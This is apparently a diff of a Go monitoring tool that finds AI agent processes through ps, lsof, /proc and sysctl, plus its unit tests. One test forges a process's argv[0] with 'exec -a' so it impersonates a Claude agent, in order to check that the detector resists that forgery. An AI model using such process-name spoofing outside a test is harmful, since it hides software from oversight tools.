||||
// Both enumerators shell out, exactly as the Linux side already does for `ss`:
|
||||
// `ps` for processes and `lsof` for established connections. Both ship with
|
||||
// every macOS install, and their output is stable and parseable — the parsers
|
||||
// below are pure functions, unit-tested from any OS with captured fixtures,
|
||||
// which is the only way this code gets tested at all in a Linux CI.
|
||||
//
|
||||
// Not used FOR ARGV AND THE ENVIRONMENT: sysctl KERN_PROCARGS2. It would give
|
||||
// both in one syscall, but that use needs the whole layout — including the '='
|
||||
// heuristic Apple's own ps calls a guess — and on a SIP-hardened machine the
|
||||
// environment half is refused for exactly the processes worth reading. A
|
||||
// shell-out that works everywhere beats a syscall that works sometimes, for a
|
||||
// signal explicitly documented as soft.
|
||||
//
|
||||
// It IS used for one thing, and the exception is narrow on purpose: procExe
|
||||
// reads the single null-terminated string the kernel writes at the front of
|
||||
// that blob, which is the executable path and the only value here a process
|
||||
// cannot choose for itself. `ps` cannot answer that question at all — it skips
|
||||
// that string by design — so there was no shell-out to prefer. See procExe.
|
||||
|
||||
const (
|
||||
agentScanSupported = true
|
||||
agentScanKind = "ps+lsof"
|
||||
)
|
||||
|
||||
// psCache holds the whole `ps` sweep from the current scan so the per-pid
|
||||
// lookups the shared code makes for a connection-only process cost nothing
|
||||
// extra. Refreshed by scanProcesses, which always runs first in scanAgents.
|
||||
var psCache = struct {
|
||||
sync.Mutex
|
||||
user map[int]string
|
||||
args map[int]string
|
||||
parent map[int]int
|
||||
}{user: map[int]string{}, args: map[int]string{}, parent: map[int]int{}}
|
||||
|
||||
// psSweep runs the one `ps` this plane needs and parses it. ppid rides in the
|
||||
// same call so the parent map costs no second process spawn.
|
||||
func psSweep() (map[int]string, map[int][]string, map[int]int, error) {
|
||||
data, err := exec.Command("ps", "-axo", "pid=,ppid=,user=,args=").Output()
|
||||
if err != nil {
|
||||
return nil, nil, nil, fmt.Errorf("ps sweep: %w", err)
|
||||
}
|
||||
users, argvs, parents := parsePSOutput(string(data))
|
||||
if len(users) == 0 {
|
||||
// ps lists at least itself; nothing parsed is output this code could
|
||||
// not read, not an empty machine.
|
||||
return nil, nil, nil, errors.New("ps sweep: no processes parsed")
|
||||
}
|
||||
return users, argvs, parents, nil
|
||||
}
|
||||
|
||||
// scanProcesses: an error is a sweep that did not happen, never an empty box;
|
||||
// the heartbeat withholds `agents` for it.
|
||||
func scanProcesses() (map[int]agentObs, error) {
|
||||
out := map[int]agentObs{}
|
||||
users, argvs, parents, err := psSweep()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
self := os.Getpid()
|
||||
|
||||
psCache.Lock()
|
||||
psCache.user = users
|
||||
psCache.parent = parents
|
||||
psCache.args = map[int]string{}
|
||||
for pid, argv := range argvs {
|
||||
psCache.args[pid] = strings.Join(argv, " ")
|
||||
}
|
||||
psCache.Unlock()
|
||||
|
||||
for pid, argv := range argvs {
|
||||
if pid == self {
|
||||
continue
|
||||
}
|
||||
sig, auto, ok := matchSignature(argv)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
full := strings.Join(argv, " ")
|
||||
out[pid] = agentObs{PID: pid, User: users[pid], Signature: sig,
|
||||
Cmdline: truncate(full, 200), Exe: procExe(pid),
|
||||
DelegationToken: procEnvToken(pid), raw: full, automation: auto}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// procParent answers from the sweep scanProcesses just took.
|
||||
func procParent(pid int) int {
|
||||
psCache.Lock()
|
||||
defer psCache.Unlock()
|
||||
return psCache.parent[pid]
|
||||
}
|
||||
|
||||
// processParents takes a FRESH sweep: contain must walk the tree as it is
|
||||
// now, not as it was when the heartbeat was built.
|
||||
func processParents() map[int]int {
|
||||
_, _, parents, err := psSweep()
|
||||
ok := err == nil
|
||||
if !ok {
|
||||
return map[int]int{}
|
||||
}
|
||||
return parents
|
||||
}
|
||||
|
||||
func scanConnections() []connObs {
|
||||
// -n/-P: no DNS or service-name lookups (fast, and never blocks a beat on
|
||||
// a slow resolver). -Fpn: machine-readable pid + name fields only.
|
||||
data, err := exec.Command("lsof", "-nP", "-iTCP", "-sTCP:ESTABLISHED", "-Fpn").Output()
|
||||
if err != nil && len(data) == 0 {
|
||||
// lsof exits non-zero when some file is unreadable while still printing
|
||||
// the rest; only a truly empty result is a failure.
|
||||
return []connObs{}
|
||||
}
|
||||
return parseLsofOutput(string(data), os.Getpid())
|
||||
}
|
||||
|
||||
func procUser(pid int) string {
|
||||
psCache.Lock()
|
||||
defer psCache.Unlock()
|
||||
return psCache.user[pid]
|
||||
}
|
||||
|
||||
func procCmdline(pid int) string {
|
||||
psCache.Lock()
|
||||
c := psCache.args[pid]
|
||||
psCache.Unlock()
|
||||
if c != "" {
|
||||
return truncate(c, 200)
|
||||
}
|
||||
out, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return truncate(strings.TrimSpace(string(out)), 200)
|
||||
}
|
||||
|
||||
// procExe is the KERNEL's record of which file this process runs, read out of
|
||||
// KERN_PROCARGS2 and decoded by parseProcargs2ExePath (agents_parse.go).
|
||||
//
|
||||
// NOT `ps -o comm=`, and that correction is the point of this function.
|
||||
//
|
||||
// Three comments in this tree said comm was the executable path from the
|
||||
// kernel — origin_darwin.go's header, origin.go's procFacts.Exe, and
|
||||
// sanction.go's list of what each platform supplies. It is argv[0]. Apple's ps
|
||||
// maps the `comm` keyword to just_command (adv_cmds ps/keyword.c:101), which
|
||||
// calls getproclline (ps/print.c:115), and getproclline's own comment is
|
||||
// "/* Skip the saved exec_path. */" immediately before it starts copying at
|
||||
// argv[0]. So `ps -o comm=` on macOS is a string the launcher chose, which is
|
||||
// precisely what a sanction must stop being keyed on. All three comments now
|
||||
// say what it is, and each records what it used to claim, so the next person
|
||||
// does not re-derive the wrong answer from a plausible-sounding man page.
|
||||
//
|
||||
// WHY THE SYSCTL THIS FILE'S HEADER REJECTED. The header rejects
|
||||
// KERN_PROCARGS2 for argv AND THE ENVIRONMENT: that use needs the whole
|
||||
// layout, including the '=' heuristic ps itself calls a guess, and the env half
|
||||
// is what SIP withholds. This reads ONE null-terminated string at a fixed
|
||||
// offset — the prefix the kernel writes before anything else. It also adds no
|
||||
// failure mode the file did not already have: `ps -axo args=` IS this sysctl
|
||||
// (getproclline again), so every process whose command line the sweep above
|
||||
// could read is one this can read, and every process it could not is one where
|
||||
// ps already printed "(comm)" in parentheses instead of a command.
|
||||
//
|
||||
// Refused (another user's process without root — xnu bsd/kern/kern_sysctl.c
|
||||
// sysctl_procargsx checks uid against the caller's) yields "", the same
|
||||
// conservative outcome as procEnvToken below.
|
||||
//
|
||||
// The whole blob is read, never a bounded window: when the buffer is smaller
|
||||
// than the argument area the kernel copies out its TAIL, not its head
|
||||
// (sysctl_procargsx, the `buflen < argslen` branch), so a cheap short read
|
||||
// would return the end of the environment and this would parse rubbish. The
|
||||
// cost is bounded by what ps already pays for every process on the box.
|
||||
func procExe(pid int) string {
|
||||
buf, err := unix.SysctlRaw("kern.procargs2", pid)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return parseProcargs2ExePath(buf)
|
||||
}
|
||||
|
||||
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN) via
|
||||
// `ps -E`, which appends the environment to the command.
|
||||
//
|
||||
// Best-effort by nature: macOS only discloses another process's environment to
|
||||
// the same user (and SIP withholds it for protected binaries regardless), so
|
||||
// this is often empty. That is the SAME conservative outcome as Linux when
|
||||
// /proc/PID/environ is unreadable — an agent with no readable tag reads as
|
||||
// unrequested, which surfaces it to the user rather than hiding it.
|
||||
func procEnvToken(pid int) string {
|
||||
out, err := exec.Command("ps", "-Eww", "-p", strconv.Itoa(pid), "-o", "command=").Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, name := range agentTokenEnvNames {
|
||||
if tok := parseEnvTokenSpaced(string(out), name); tok != "" {
|
||||
return tok
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
// procExe against REAL processes on this machine (agents_linux.go).
|
||||
//
|
||||
// Everything else about the exe identity is proven with fixtures, which is the
|
||||
// right way to test a rule. But the CLAIM underneath the whole change is about
|
||||
// what an operating system does — "argv[0] is chosen by the launcher, the
|
||||
// executable path is not" — and a fixture cannot establish that. These two
|
||||
// tests ask the kernel.
|
||||
//
|
||||
// Linux only, and that is honest rather than a gap: this is the platform the
|
||||
// test runner is on, and a claim about macOS or Windows behaviour must not be
|
||||
// asserted by a Linux box. Their paths are exercised through
|
||||
// parseProcargs2ExePath and the offsets in agents_windows.go.
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The simplest true statement available: this test binary's own executable.
|
||||
// No fixture, no stub — if procExe cannot answer for a process that is
|
||||
// certainly running, nothing else in this file means anything.
|
||||
//
|
||||
// MUTATION: read /proc/<pid>/cmdline instead of /proc/<pid>/exe in procExe.
|
||||
// RESULT: red — the answer became the go test command line, which is not a
|
||||
// path to anything.
|
||||
func TestProcExeAnswersTheKernelForThisProcess(t *testing.T) {
|
||||
self, err := os.Executable()
|
||||
if err != nil {
|
||||
t.Skipf("this machine cannot name its own executable: %v", err)
|
||||
}
|
||||
got := procExe(os.Getpid())
|
||||
if got == "" {
|
||||
t.Fatal("procExe could not read this process's own executable")
|
||||
}
|
||||
if got != self {
|
||||
t.Errorf("procExe(self) = %q, want %q (os.Executable)", got, self)
|
||||
}
|
||||
if !filepath.IsAbs(got) {
|
||||
t.Errorf("procExe returned a relative path %q — sanitizeExePath must have dropped it", got)
|
||||
}
|
||||
}
|
||||
|
||||
// THE MEASUREMENT THE WHOLE CHANGE RESTS ON, run against the kernel rather
|
||||
// than quoted from a comment: a process can present any argv[0] it likes, and
|
||||
// /proc/<pid>/exe still names the file that was actually loaded.
|
||||
//
|
||||
// This is the forgery TestAForgedArgv0FromADifferentExecutableIsNotSanctioned
|
||||
// (sanction_test.go) refuses, performed for real. If this test ever fails on a
|
||||
// platform, the identity in sanction.go is not worth what it claims there and
|
||||
// the header's cost analysis has to be rewritten.
|
||||
//
|
||||
// MUTATION: return sanitizeExePath(procCmdline(pid)) from procExe.
|
||||
// RESULT: red — exe came back as the forged /tmp/.../claude, matching argv[0]
|
||||
// exactly, which is the defect this exists to catch.
|
||||
func TestProcExeIgnoresAForgedArgv0(t *testing.T) {
|
||||
bash, err := exec.LookPath("bash")
|
||||
if err != nil {
|
||||
t.Skipf("no bash on this machine: %v", err)
|
||||
}
|
||||
sleepBin, err := exec.LookPath("sleep")
|
||||
if err != nil {
|
||||
t.Skipf("no sleep on this machine: %v", err)
|
||||
}
|
||||
// A path that does not exist, deliberately: the forgery needs no file at
|
||||
// all, which is exactly what made argv[0] worthless as an identity.
|
||||
const claimed = "/home/user/.local/bin/claude"
|
||||
|
||||
cmd := exec.Command(bash, "-c", "exec -a "+claimed+" "+sleepBin+" 30")
|
||||
if err := cmd.Start(); err != nil {
|
||||
t.Fatalf("starting the forger: %v", err)
|
||||
}
|
||||
pid := cmd.Process.Pid
|
||||
t.Cleanup(func() {
|
||||
_ = cmd.Process.Kill()
|
||||
_ = cmd.Wait()
|
||||
})
|
||||
|
||||
// bash execs into sleep in place, keeping the pid. Wait for that to happen
|
||||
// rather than sleeping a fixed amount.
|
||||
var cmdline, exe string
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
cmdline, exe = procCmdline(pid), procExe(pid)
|
||||
if strings.HasPrefix(cmdline, claimed) {
|
||||
break
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
if !strings.HasPrefix(cmdline, claimed) {
|
||||
t.Fatalf("the forger never took its new name: cmdline=%q", cmdline)
|
||||
}
|
||||
|
||||
// What the process SAYS it is.
|
||||
if got := argv0(cmdline); got != claimed {
|
||||
t.Fatalf("argv[0] = %q, want the forged %q", got, claimed)
|
||||
}
|
||||
// What the KERNEL says it is.
|
||||
if exe == "" {
|
||||
t.Fatal("procExe read nothing for a process this test started itself")
|
||||
}
|
||||
if exe == claimed {
|
||||
t.Fatalf("procExe returned the forged path %q — it is reading the command "+
|
||||
"line, not /proc/<pid>/exe, and every identity in sanction.go built on "+
|
||||
"it is forgeable by one exec", exe)
|
||||
}
|
||||
if filepath.Base(exe) != "sleep" {
|
||||
t.Errorf("procExe = %q, want the sleep binary that is actually running", exe)
|
||||
}
|
||||
if _, err := os.Stat(exe); err != nil {
|
||||
t.Errorf("procExe named %q, which is not a file on this machine: %v", exe, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"sort"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// Kind classification. The fixture below is the measured shape
|
||||
// that produced the false alarm: the Claude DESKTOP app on Windows, installed
|
||||
// from the Store, with its eight Chromium helpers — every one of them
|
||||
// `claude.exe`, every one of them matched as "claude-code".
|
||||
|
||||
const winClaudeExe = `"C:\Program Files\WindowsApps\Claude_1.40609.1.0_x64__pzs8sxrjxfjjc\app\claude.exe"`
|
||||
|
||||
func claudeDesktopSnapshot() (map[int]agentObs, func(int) int) {
|
||||
helpers := map[int]string{
|
||||
5948: ` --type=renderer --user-data-dir="C:\Users\u\AppData\Roaming\Claude" --standard-schemes`,
|
||||
11168: ` --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US`,
|
||||
28084: ` --type=gpu-process --user-data-dir="C:\Users\u\AppData\Roaming\Claude"`,
|
||||
29304: ` --type=crashpad-handler --user-data-dir=C:\Users\u\AppData\Roaming\Claude`,
|
||||
33640: ` --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService`,
|
||||
37528: ` --type=renderer --user-data-dir="C:\Users\u\AppData\Roaming\Claude"`,
|
||||
37616: ` --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US`,
|
||||
38520: ` --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US`,
|
||||
}
|
||||
byPid := map[int]agentObs{
|
||||
4532: {PID: 4532, Signature: "claude-code", Cmdline: winClaudeExe, raw: winClaudeExe},
|
||||
// Claude Code itself, in a terminal: stays an agent.
|
||||
7000: {PID: 7000, Signature: "claude-code", Cmdline: "claude --resume", raw: "claude --resume"},
|
||||
// A macOS app bundle with no helper of its own in the candidate set.
|
||||
8000: {PID: 8000, Signature: "cursor", Cmdline: "/Applications/Cursor.app/Contents/MacOS/Cursor",
|
||||
raw: "/Applications/Cursor.app/Contents/MacOS/Cursor"},
|
||||
}
|
||||
for pid, args := range helpers {
|
||||
full := winClaudeExe + args
|
||||
byPid[pid] = agentObs{PID: pid, Signature: "claude-code", Cmdline: truncate(full, 200), raw: full}
|
||||
}
|
||||
parent := func(pid int) int {
|
||||
switch {
|
||||
case helpers[pid] != "":
|
||||
return 4532
|
||||
case pid == 4532:
|
||||
return 1200 // explorer
|
||||
case pid == 7000:
|
||||
return 6000 // a shell
|
||||
case pid == 8000:
|
||||
return 1 // launchd
|
||||
}
|
||||
return 0
|
||||
}
|
||||
return byPid, parent
|
||||
}
|
||||
|
||||
func TestArgv0AndBundleRoot(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
winClaudeExe + ` --type=renderer`: `C:\Program Files\WindowsApps\Claude_1.40609.1.0_x64__pzs8sxrjxfjjc\app\claude.exe`,
|
||||
"/usr/local/bin/claude --resume": "/usr/local/bin/claude",
|
||||
"claude": "claude",
|
||||
"'/Applications/Foo Bar.app/Contents/MacOS/foo' --type=gpu": "/Applications/Foo Bar.app/Contents/MacOS/foo",
|
||||
"": "",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := argv0(in); got != want {
|
||||
t.Errorf("argv0(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
if got := bundleRoot("/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"); got != "/applications/google chrome.app/" {
|
||||
t.Errorf("bundleRoot must be the OUTERMOST bundle, got %q", got)
|
||||
}
|
||||
if got := bundleRoot("/usr/local/bin/claude"); got != "" {
|
||||
t.Errorf("no bundle = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// A helper is a --type= process whose PARENT runs the same program. The flag
|
||||
// alone must never be enough: that would let any process vanish by adding it.
|
||||
func TestIsGUIHelperNeedsSameProgramParent(t *testing.T) {
|
||||
helper := winClaudeExe + ` --type=renderer --user-data-dir="C:\x"`
|
||||
if !isGUIHelper(helper, winClaudeExe) {
|
||||
t.Error("a --type= child of the same exe is a helper")
|
||||
}
|
||||
if !isGUIHelper("/opt/Claude/claude --type=zygote", "/opt/Claude/claude") {
|
||||
t.Error("linux same-binary helper")
|
||||
}
|
||||
chromeHelper := "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU) --type=gpu-process"
|
||||
if !isGUIHelper(chromeHelper, "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome") {
|
||||
t.Error("macOS helper in the same outer bundle is a helper")
|
||||
}
|
||||
// The evasion / false-positive reproduced here: an agent whose
|
||||
// PROMPT mentions the flag, under a shell.
|
||||
if isGUIHelper("claude -p add a --type=json flag to the export command", "-bash") {
|
||||
t.Error("an agent mentioning --type= under a shell is NOT a helper")
|
||||
}
|
||||
if isGUIHelper("foo --type=x", "") {
|
||||
t.Error("no parent command line: never a helper")
|
||||
}
|
||||
if isGUIHelper(winClaudeExe, winClaudeExe) {
|
||||
t.Error("no --type= flag: not a helper even under the same exe")
|
||||
}
|
||||
if hasTypeFlag("node cli.js --type-check") {
|
||||
t.Error("a flag that merely starts with the marker is not the marker")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyObservationsClaudeDesktop(t *testing.T) {
|
||||
byPid, parent := claudeDesktopSnapshot()
|
||||
helperRoot := classifyObservations(byPid, parent)
|
||||
|
||||
if len(helperRoot) != 8 {
|
||||
t.Fatalf("want 8 helpers collapsed, got %d: %v", len(helperRoot), helperRoot)
|
||||
}
|
||||
for pid, root := range helperRoot {
|
||||
if root != 4532 {
|
||||
t.Errorf("helper %d attributed to %d, want 4532", pid, root)
|
||||
}
|
||||
if _, still := byPid[pid]; still {
|
||||
t.Errorf("helper %d must be dropped from the report", pid)
|
||||
}
|
||||
}
|
||||
if len(byPid) != 3 {
|
||||
t.Fatalf("want 3 observations (app, agent, bundle app), got %d: %+v", len(byPid), byPid)
|
||||
}
|
||||
|
||||
app := byPid[4532]
|
||||
if app.Kind != kindApp || app.Signature != "claude-desktop" || app.PPID != 1200 {
|
||||
t.Errorf("the desktop app = %+v, want kind=app signature=claude-desktop ppid=1200", app)
|
||||
}
|
||||
cli := byPid[7000]
|
||||
if cli.Kind != kindAgent || cli.Signature != "claude-code" || cli.PPID != 6000 {
|
||||
t.Errorf("claude code in a terminal = %+v, want kind=agent signature=claude-code", cli)
|
||||
}
|
||||
bundle := byPid[8000]
|
||||
if bundle.Kind != kindApp || bundle.Signature != "cursor-app" {
|
||||
t.Errorf("a .app bundle = %+v, want kind=app signature=cursor-app", bundle)
|
||||
}
|
||||
}
|
||||
|
||||
// Four rules pinned here: an agent that mentions the flag
|
||||
// stays an agent; a bundle path as an ARGUMENT is not a bundle; a helper with
|
||||
// an unreadable parent is never pinned to pid 0; nested helpers resolve to
|
||||
// the app.
|
||||
func TestClassifyObservationsEdges(t *testing.T) {
|
||||
mention := "claude -p add a --type=json flag to the export command"
|
||||
byPid := map[int]agentObs{
|
||||
7000: {PID: 7000, Signature: "claude-code", Cmdline: mention, raw: mention},
|
||||
7001: {PID: 7001, Signature: "aider", Cmdline: "aider /Applications/Foo.app/Contents/MacOS/foo.swift",
|
||||
raw: "aider /Applications/Foo.app/Contents/MacOS/foo.swift"},
|
||||
// a --type= candidate whose parent cannot be read
|
||||
7002: {PID: 7002, Signature: "claude-code", Cmdline: winClaudeExe + " --type=gpu-process", raw: winClaudeExe + " --type=gpu-process"},
|
||||
// zygote pattern: browser → zygote helper → renderer helper
|
||||
4532: {PID: 4532, Signature: "claude-code", Cmdline: "/opt/Claude/claude", raw: "/opt/Claude/claude"},
|
||||
4600: {PID: 4600, Signature: "claude-code", Cmdline: "/opt/Claude/claude --type=zygote", raw: "/opt/Claude/claude --type=zygote"},
|
||||
4601: {PID: 4601, Signature: "claude-code", Cmdline: "/opt/Claude/claude --type=renderer", raw: "/opt/Claude/claude --type=renderer"},
|
||||
}
|
||||
parents := map[int]int{7000: 6000, 7001: 6000, 7002: 0, 4532: 1200, 4600: 4532, 4601: 4600}
|
||||
helperRoot := classifyObservations(byPid, func(pid int) int { return parents[pid] })
|
||||
|
||||
if a := byPid[7000]; a.Kind != kindAgent || a.Signature != "claude-code" {
|
||||
t.Errorf("an agent mentioning --type= must stay an agent, got %+v", a)
|
||||
}
|
||||
if a := byPid[7001]; a.Kind != kindAgent || a.Signature != "aider" {
|
||||
t.Errorf("a bundle path as an argument must not make an app, got %+v", a)
|
||||
}
|
||||
if a, ok := byPid[7002]; !ok || a.Kind != kindAgent {
|
||||
t.Errorf("a --type= candidate with an unreadable parent stays reported as what it matched, got %+v (present=%v)", a, ok)
|
||||
}
|
||||
if _, phantom := helperRoot[7002]; phantom {
|
||||
t.Error("an unreadable parent must never produce a helper root")
|
||||
}
|
||||
if helperRoot[4600] != 4532 || helperRoot[4601] != 4532 {
|
||||
t.Errorf("nested helpers must resolve to the app, got %v", helperRoot)
|
||||
}
|
||||
if a := byPid[4532]; a.Kind != kindApp || a.Signature != "claude-desktop" {
|
||||
t.Errorf("the app owning nested helpers = %+v", a)
|
||||
}
|
||||
for _, pid := range []int{4600, 4601} {
|
||||
if _, still := byPid[pid]; still {
|
||||
t.Errorf("helper %d must be dropped", pid)
|
||||
}
|
||||
}
|
||||
if _, phantom := byPid[0]; phantom {
|
||||
t.Error("pid 0 must never be observed")
|
||||
}
|
||||
}
|
||||
|
||||
// The helper that actually holds the socket (network.mojom.NetworkService)
|
||||
// is credited to the app, so "Claude desktop, talking to api.anthropic.com"
|
||||
// is one observation — and a helper never becomes a "client".
|
||||
func TestMergeConnectionsAttributesHelperSocketsToTheApp(t *testing.T) {
|
||||
byPid, parent := claudeDesktopSnapshot()
|
||||
helperRoot := classifyObservations(byPid, parent)
|
||||
cloud := map[string]string{"1.2.3.4": "api.anthropic.com"}
|
||||
strong := map[int]string{11434: "ollama"}
|
||||
weak := map[int]string{}
|
||||
info := func(pid int) procDetail {
|
||||
return procDetail{User: "u", Cmdline: byPid[pid].raw, Exe: byPid[pid].Exe}
|
||||
}
|
||||
|
||||
conns := []connObs{{PID: 11168, RemoteIP: "1.2.3.4", RemotePort: 443}}
|
||||
for i := range conns {
|
||||
if root, ok := helperRoot[conns[i].PID]; ok {
|
||||
conns[i].PID, conns[i].ViaHelper = root, true
|
||||
}
|
||||
}
|
||||
mergeConnections(byPid, conns, cloud, strong, weak, info, parent)
|
||||
if got := byPid[4532].LLMEndpoints; len(got) != 1 || got[0] != "api.anthropic.com" {
|
||||
t.Fatalf("the app must carry its helper's endpoint, got %v", got)
|
||||
}
|
||||
if _, leaked := byPid[11168]; leaked {
|
||||
t.Fatal("a helper must never appear as its own observation")
|
||||
}
|
||||
if byPid[4532].Kind != kindApp {
|
||||
t.Fatalf("annotating must not change the kind, got %+v", byPid[4532])
|
||||
}
|
||||
if _, phantom := byPid[0]; phantom {
|
||||
t.Fatal("pid 0 must never be observed")
|
||||
}
|
||||
}
|
||||
|
||||
// An unknown Chromium helper (a browser tab calling a model API) is the
|
||||
// user's APP, attributed to its parent — never a disguised-agent "client".
|
||||
// An unknown process that merely MENTIONS the flag is an ordinary client, and
|
||||
// the shell above it is never blamed.
|
||||
func TestMergeConnectionsUnknownHelperBecomesAnApp(t *testing.T) {
|
||||
cloud := map[string]string{"1.2.3.4": "api.openai.com"}
|
||||
strong := map[int]string{11434: "ollama"}
|
||||
weak := map[int]string{}
|
||||
chrome := `"C:\Program Files\Google\Chrome\Application\chrome.exe"`
|
||||
cmd := map[int]string{
|
||||
700: chrome,
|
||||
750: chrome + ` --type=zygote`,
|
||||
800: chrome + ` --type=utility --utility-sub-type=network.mojom.NetworkService`,
|
||||
900: `"C:\x\orphan.exe" --type=renderer`,
|
||||
1000: "-bash",
|
||||
1001: "python3 agent.py --type=fast", // mentions the flag; parent is a shell
|
||||
}
|
||||
parents := map[int]int{800: 750, 750: 700, 700: 4, 900: 1, 1001: 1000, 1000: 5}
|
||||
// The kernel's executable path per pid. A helper and its app run the same
|
||||
// binary in life; here they are given DIFFERENT paths on purpose, so the
|
||||
// assertion below can tell which one the observation kept.
|
||||
exe := map[int]string{
|
||||
700: `C:\Program Files\Google\Chrome\Application\chrome.exe`,
|
||||
750: `C:\Program Files\Google\Chrome\Application\zygote.exe`,
|
||||
800: `C:\Program Files\Google\Chrome\Application\helper.exe`,
|
||||
900: `C:\x\orphan.exe`,
|
||||
1001: `/usr/bin/python3`,
|
||||
}
|
||||
info := func(pid int) procDetail {
|
||||
return procDetail{User: "u", Cmdline: cmd[pid], Exe: exe[pid]}
|
||||
}
|
||||
parent := func(pid int) int { return parents[pid] }
|
||||
|
||||
byPid := map[int]agentObs{}
|
||||
mergeConnections(byPid, []connObs{
|
||||
{PID: 800, RemoteIP: "1.2.3.4", RemotePort: 443},
|
||||
{PID: 900, RemoteIP: "1.2.3.4", RemotePort: 443}, // parent is init: dropped
|
||||
{PID: 1001, RemoteIP: "1.2.3.4", RemotePort: 443}, // not a helper: a client
|
||||
}, cloud, strong, weak, info, parent)
|
||||
|
||||
for _, pid := range []int{800, 750, 0, 1, 1000} {
|
||||
if _, ok := byPid[pid]; ok {
|
||||
t.Errorf("pid %d must not be observed: %+v", pid, byPid[pid])
|
||||
}
|
||||
}
|
||||
// A --type= process whose parent is init (or unreadable) has no app to be
|
||||
// credited to: it is reported under its OWN pid as a client — visible and
|
||||
// containable — never as a phantom pid-0 app, never silently dropped.
|
||||
if c, ok := byPid[900]; !ok || c.Kind != kindClient || c.PID != 900 {
|
||||
t.Errorf("an orphaned --type= process is a client under its own pid, got %+v", byPid[900])
|
||||
}
|
||||
app, ok := byPid[700]
|
||||
if !ok || app.Kind != kindApp || app.Signature != "gui-app" || app.PPID != 4 {
|
||||
t.Fatalf("the browser must be observed as an app (through the zygote), got %+v", byPid)
|
||||
}
|
||||
if len(app.LLMEndpoints) != 1 || app.LLMEndpoints[0] != "api.openai.com" {
|
||||
t.Errorf("endpoints = %v", app.LLMEndpoints)
|
||||
}
|
||||
// The observation is the APP, so the file it names must be the APP's. Keeping
|
||||
// the helper's would key a mark (sanction.go) on a file that is not the
|
||||
// program the row names — the user would vouch for one thing by clicking
|
||||
// another.
|
||||
//
|
||||
// MUTATION: leave `exe` untouched when the walk resolves to the app
|
||||
// (drop `exe = rd.Exe` from the app branch of mergeConnections).
|
||||
// RESULT: red — the app row carried helper.exe.
|
||||
if want := exe[700]; app.Exe != want {
|
||||
t.Errorf("the app's row carries exe %q, want its own %q", app.Exe, want)
|
||||
}
|
||||
if c, ok := byPid[1001]; !ok || c.Kind != kindClient || c.Signature != "llm-client" {
|
||||
t.Errorf("a process mentioning the flag under a shell is a client, got %+v", byPid[1001])
|
||||
}
|
||||
// MUTATION: drop `Exe: exe` from the agentObs literal mergeConnections builds.
|
||||
// RESULT: red — an observation the network signal created could never be
|
||||
// marked as yours, because it carried no file at all.
|
||||
if got := byPid[1001].Exe; got != "/usr/bin/python3" {
|
||||
t.Errorf("a client observation must carry the kernel's path, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDescendantsOf(t *testing.T) {
|
||||
parents := map[int]int{
|
||||
101: 50, 102: 101, 103: 102, 104: 101, // a tree under 101
|
||||
200: 50, 201: 200, // a sibling tree
|
||||
300: 300, // self-parent junk must not loop
|
||||
}
|
||||
got := descendantsOf(parents, 101)
|
||||
sort.Ints(got)
|
||||
want := []int{102, 103, 104}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("descendantsOf(101) = %v, want %v", got, want)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("descendantsOf(101) = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
if got := descendantsOf(parents, 103); len(got) != 0 {
|
||||
t.Errorf("a leaf has no descendants, got %v", got)
|
||||
}
|
||||
if got := descendantsOf(parents, 999); len(got) != 0 {
|
||||
t.Errorf("an unknown pid has no descendants, got %v", got)
|
||||
}
|
||||
if got := descendantsOf(parents, 300); len(got) != 0 {
|
||||
t.Errorf("a self-parented pid must not recurse, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseProcStatPPID(t *testing.T) {
|
||||
cases := map[string]int{
|
||||
"1234 (claude) S 999 1234 1234 0 -1": 999,
|
||||
"1234 (a (weird) name) R 77 1 1 0 -1": 77, // parens in comm
|
||||
"1234 (x y) S 5 1": 5, // spaces in comm
|
||||
"garbage": 0,
|
||||
"": 0,
|
||||
"1 (systemd) S 0 1 1 0 -1 4194560 1 0 0 0 0 0 0": 0,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := parseProcStatPPID(in); got != want {
|
||||
t.Errorf("parseProcStatPPID(%q) = %d, want %d", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Contain takes the agent's tree, refuses an app, and spares the bastion's own
|
||||
// local agent child — decided from stubs, so nothing real is ever signalled.
|
||||
